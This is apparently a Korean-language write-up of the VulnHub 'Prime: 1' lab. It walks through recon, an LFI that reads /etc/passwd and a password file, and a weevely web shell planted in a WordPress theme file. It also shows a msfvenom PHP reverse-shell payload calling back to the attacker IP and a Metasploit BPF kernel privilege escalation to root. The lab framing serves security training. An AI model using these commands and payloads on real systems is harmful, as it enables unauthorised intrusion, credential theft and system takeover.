Vlunhub prime : 1 실습
해당 실습은 Vlunhub prime : 1 환경에서 이루어졌음을 참고해주시기 바랍니다.
https://www.vulnhub.com/entry/prime-1,358/
Prime: 1
This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.
www.vulnhub.com
진단 환경 | 진단 대상 |
kali-linux 2023.3 | Vulnhub Prime - 1 (ubuntu 64bit) |
1. 정보 수집
해당 진단 대상 환경을 침투하기 전 진단 환경의 IP를 확인한다.
$ ifconfig |
ifconfig 명령어를 통해 진단 환경의 IP가 192.168.198.129 , 서브넷 마스크는 255.255.255.0이라는 것을 확인했다.
$ sudo netdiscover -r 192.168.198.0/24 |
-r : 스캔할 IP 주소 범위 지정 |
진단 대상의 IP를 모르는 상황이였기에 netdiscover 명령어를 사용해서 네트워크 대역 리스트를 나열하였다.
$ sudo nmap -sV -O 192.168.198.133 |
-sV : 실행중인 서비스의 버전을 탐지 |
-O : 운영체제 탐지를 활성화 |
진단대상의 열린 포트 정보는 TCP 포트 22, 70번이 열려있었고, 22번 포트는 ssh 서비스를 제공하고 있었고 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux) 버전을 사용하고 있었다. 80번 포트는 HTTP 웹 서비스를 제공하고 있었고 Apache httpd 2.4.18 (Ubuntu)를 사용하고 있음을 확인하였다. 또한, 운영체제의 대략적인 버전 정보와 커널 버전 정보를 확인 할 수 있었다.
진단 대상의 HTTP 웹 서비스 구동 상태를 확인하기 위해 웹 서비스 경로로 접속을 시도한 결과 다음과 같은 페이지가 제공되고 있음을 확인하였지만, 추가적인 정보는 얻을 수 없었다.
$ dirb http://192.168.198.133 |
http://192.168.198.133를 대상으로 웹 서버의 숨겨진 디렉토리나 파일을 찾기 위해 스캐닝하였다.
dirb 명령어를 사용하여 192.168.198.133 웹 서버에 숨겨진 디렉터리와 파일을 조회한 결과 wordpress와 관련된 여러 디렉토리가 조회되었고, 진단 대상이 wordpress 취약점을 가지고 있을것이라고 유추하였다.
앞서 조사한 http://192.168.198.133/wordpress/wp-admin/ 경로로 접근한 결과 관리자 로그인 페이지가 나왔고, 해당 페이지의 로그인 정보를 알아내는 방향을 수립하여 추가적인 조사를 시작하였다.
패스워드 정보를 알아내는 것은 뒤로하고, 해당 진단대상이 wordpress 관련 디렉토리가 조회된다는 것을 확인했으니, 사용자를 조회하기 위해서 wpscan을 사용하였고, victor 라는 사용자가 있음을 확인이 가능했다.
$ sudo wpscan --url http://192.168.198.133/wordpress -e u |
--ur l: 대상 웹사이트의 URL |
-e u: 모든 유저(User) 를 상대로 정보수집 |
$ dirb http://192.168.198.133/ -X .txt |
-X .txt 특정 파일 확장자를 지정하여 .txt 확장자만 조회하도록 설정 |
해당 스캔을 통해서 secret.txt 파일이 존재한다는 것을 확인하였다. 상태코드가 200인것으로 보아, 이 파일에 접근이 가능하다는 것을 확인하였다.
해당 파일의 경로로 접근한 결과, 다음과 같은 내용이 출력되었다. 해당 내용은 다음 단계로의 힌트를 제공하는 문구들이였으며, Fuzzing을 시도할 수 있다는 정보와 github 링크 그리고 무언가의 URL 경로 뒤 location.txt 파일이 존재한다는 정보를 얻을 수 있었다.
앞서 알아낸 secret.txt에서 제공된 github 링크로 이동하였고, 추가적인 정보를 얻어내기 위해 의미 파악을 시작했다.
해당 github 링크에는 fuzzing 명령어의 예시가 있었고, http://website-ip/index.php에서 사용 가능한 파라미터 값을 확인할 결과 file이라는 페이로드가 존재한다는 힌트를 확인하였다.
github 링크에서 얻은 file 페이로드를 넣어서 접속한 결과, Do something better you are digging wrong file. 이라는 문구를 확인할 수 있었다. 여기서 아까 획득한 location.txt 파일을 호출 시도가 가능한지 입력하였다.
2. LFI (Local File Inclusion) 취약점
그 결과, location.txt 파일이 호출되는 것을 확인했다. LFI 취약점은 공격자가 서버에서 파일을 읽거나 실행할 수 있는 취약점이다.
location.txt파일을 읽어온 결과로 확인할 수 있는 것은 index.php?file=location.txt와 같은 형식으로 파일을 포함하고 있으며, 추가로 어떤 php 페이지 뒤에 secrettier360 매개변수를 사용하라는 문구를 확인할 수 있었다.
바로, dirb 명령어를 이용하여 .php 확장자를 가진 파일을 스캔하였다.
$ dirb http://192.168.198.133/ -X .php |
-X php : 검색할 파일의 확장자를 지정 |
스캔 결과를 보면, 2개의 php 확장자를 가진 파일이 조회되었는데, 첫번째로 image.php 파일을 대상으로 해당 경로 뒤에 secrettier360 매개변수를 붙여서 접근이 가능한지 확인해볼 수 있는 단서가 되었다.
다음 문구가 출력된 것을 보아, 해당 매개변수를 활용하여 공격이 가능함을 확인이 가능했다.
우리의 목적은 관리자 로그인 페이지의 계정 정보를 획득하여 관리자의 wordpress로 접근하는 것이 목표이기 때문에 바로 /etc/passwd를 파라미터에 삽입하여 파일을 불러오는지 확인하였다.
결과 하단을 보게되면, find password.txt file in my directory:/home/saket라는 문구를 통해서 /home/saket 디렉터리에 password.txt파일이 있음을 유추가 가능하였다.
진단대상에 LFI 취약점이 존재한다는 것을 확인하였으니 , /home/saket/ 디렉터리에 존재하는 password.txt파일을 조회하였다.
password.txt 파일의 내용을 확인한 결과, 드디어 follow_the_ippsec이라는 관리자의 wordpress 비밀번호를 알아낼수 있었다.
LFI 취약점을 악용하여 얻어낸 계정 정보를 앞서 wp-admin에 접속해 관리자 로그인 페이지가 뜬다는 정보를 바탕으로 follow_the_ippsec을 대입하였다.
victor 사용자의 wordpress 계정으로 접속이 성공하였다.
3. 파일 업로드 공격
먼저, wordpress 내 쓰기 권한이 있는 페이지로 이동하기 위햐서 페이지 내 죄측 메뉴옵션에 있는 Appearance 카테고리에 이동한다.
다음으로, Theme Editor라는 곳으로 이동하여 테마를 수정하는 곳임을 확인했다.
해당 페이지에서 우측 테마 파일을 선택할 수 있는데 그 중 seret.php라는 수상한 이름의 파일로 이동한다.
내가 작성한 스크립트가 정상적으로 저장되는지 테스트하기 위해서 임의의 텍스트를 넣어서 저장한 후 성공적으로 파일 수정이 가능한 것을 확인하였다.
다음으로, 해당 secret.php 파일에 리버스 커넥션 연결을 하기 위해 weevely를 사용해 웹쉘을 만든다.
$ sudo weevely generate hacker shell.php |
generate : 새로운 웹셀 생성 |
hacker : 만들어질 웹셀에 접근하는 암호 지정 |
shell.php : 생성될 PHP 쉘 파일의 이름 지정 |
다음으로, 만들어진 shell.php 파일의 경로로 이동해 해당 파일을 마우스패드로 연결하여 스크립트를 복사한다.
secret.php 파일에 스크립트를 넣어서 저장한다.
다음으로, 해당 Twenty Nineteen 안에 존재하는 secret.php 파일에 작성한 스크립트문이 저장되는 경로를 확인하기 위해서 wpscan으로 스캔을 진행하였다.
$ wpscan --url http://192.168.198.133/wordpress --enumrate u,t,p |
--enumerate u : 사용자 조회 |
--enumerate t : 테마 조회 |
--enumerate p : 플러그인 조회 |
그림 3-8에서 진행한 wpscan의 결과로 twentynineteen의 경로를 확인이 가능했다.
다음으로, 그림 3-9에서 확인한 경로를 명령어에 넣어서 weevely를 통해서 세션 연결을 시도하여 성공하였다.
$ weevely http://192.168.198.133/wordpress/wp-content/themes/twentynineteen/secret.php hacker |
id 명령어를 통해서 www-data의 제한된 권한 상태임을 확인 가능했다.
$ id |
다음으로, uname -a 옵션으로 운영체제 정보와 커널 버전 정보를 확인이 하였고, 해당 시스템의 정보에 취약점이 존재한다면, 추가 공격이 가능할 것이라고 판단했다.
$ uname -a |
4. XSS(Cross Site Script)
탈취한 victor 계정의 게시글 작성 페이지에서 XSS 취약점이 발생하는 것을 확인했다.
<script>alert(“XSS”)</script> |
알림 기능을 이용하여 삽입한 스크립트 문이 정상적으로 작동됐다. 추가로 bxss 헌터에서 제공하는 페이로드를 삽입하게되면, 쿠키값이 탈취될 염려가 있어보인다고 판단했다.
5. BPF Sign Extension을 통한 권한상승 취약점
$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.198.129 lport=9999 R |
-p: payload 지정 |
앞서 접속을 성공한 워드프레스twentynineteen 테마의 쓰기 권한이 있는 secret,php에 페이로드를 삽입하기 위해 워드프레스.msfvenom을 사용하여 PHP 리버스 쉘 페이로드를 생성하였다.
생성한 PHP코드를 secret.php 파일에 삽입하고, 이를 통해 해당 PHP 파일이 실행 될 때마다 공격자의 시스템으로 리버스 연결이 가능한 것을 확인하였다.
$ use exploit/multi/handler |
Set lhost 192.168.198.129 |
Set lport 9999 |
Exploit |
Multi/handler 모듈을 사용하여 공격 대상 시스템으로부터 리버스 연결을 하기 위한 옵션을 설정하였다.
$ wpscan --url http://192.168.198.133/wordpress --enumerate u,t,p |
--enumerate: WordPress 사이트에서 특정 정보를 열거 |
u: 사이트의 사용 계정을 열거 |
t: 설치된 테마 열거 |
p: 설치된 플러그인 열거 |
정보 수집 단계에서 실시한 WPscan 결과를 통해 업로드된 웹셀 위치를 확인 할 수 있었고 secret.php 파일이 해당 테마 디렉토리에 있다면 다음 URL로 접근이 가능하였다.
192.168.198.133/wordpress/wp-content/themes/twentynineteen/secret.php |
해당 경로에 접근하여 공격자는 지정된 IP와 포트에서 피해 시스템의 리버스 연결을 수신하게 된다.
앞서 업로드된 웹쉘 위치 경로에 접근하여 세션1을 획득하였다.
$ sysinfo |
sysinfo를 통해 공격 대상의 취약한 시스템 정보인 Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu를 확인하였고, 구글 검색 엔진을 통해서 해당 공격 대상에 대한 권한 상승 공격의 가능성을 파악하였다.
$ cd /home |
$ ls |
$ cd saket |
$ ls |
/home 디렉터리로 이동하여 saket 사용자와 victor 사용자의 정보를 확인하였다. 그 후 saket 사용자의 홈 디렉터리로 이동하여 파일들을 확인했고 총 4개의 파일 중 user.txt라는 파일을 발견하였다.
$ cat user.txt |
user.txt 파일을 통해 user flag 정보가 있는 것을 확인하였다.
$ use exploit/linux/local/bpf_sign_extension_priv_esc |
$ set session 1 |
$ exploit |
Metasploit에서 bpf_sign_extension_priv_esc 모듈을 사용하여 앞서 연결했던 1번 세션을 선택하여 이미 연결된 대상과의 세션을 지정하고, BPF(Sign Extension) 취약점을 이용해 Linux 시스템에서 권한 상승 공격을 시도하였다.
. Metasploit을 사용하여 특정 취약점을 공격하고 권한 상승을 시도한 후, 새로운 세션을 생성하여 대상 시스템에 접근하였다.
$ cd /root |
$ ls –al |
BPF(Sign Extension) 취약점을 이용하여 얻은 2번 세션으로 루트 디렉터리의 접근을 시도한 결과 루트 디렉터리의 접근이 가능하였고, 루트 디렉터리에 있는 파일과 디렉토리 목록을 확인하였다
. 루트 디렉터리로 이동하여 파일과 디렉터리 목록에 root.txt 파일을 확인하였다.
$ cat root.txt |
root.txt의 플래그 값을 확인하여 성공적으로 루트 권한을 획득한 것을
확인하였다.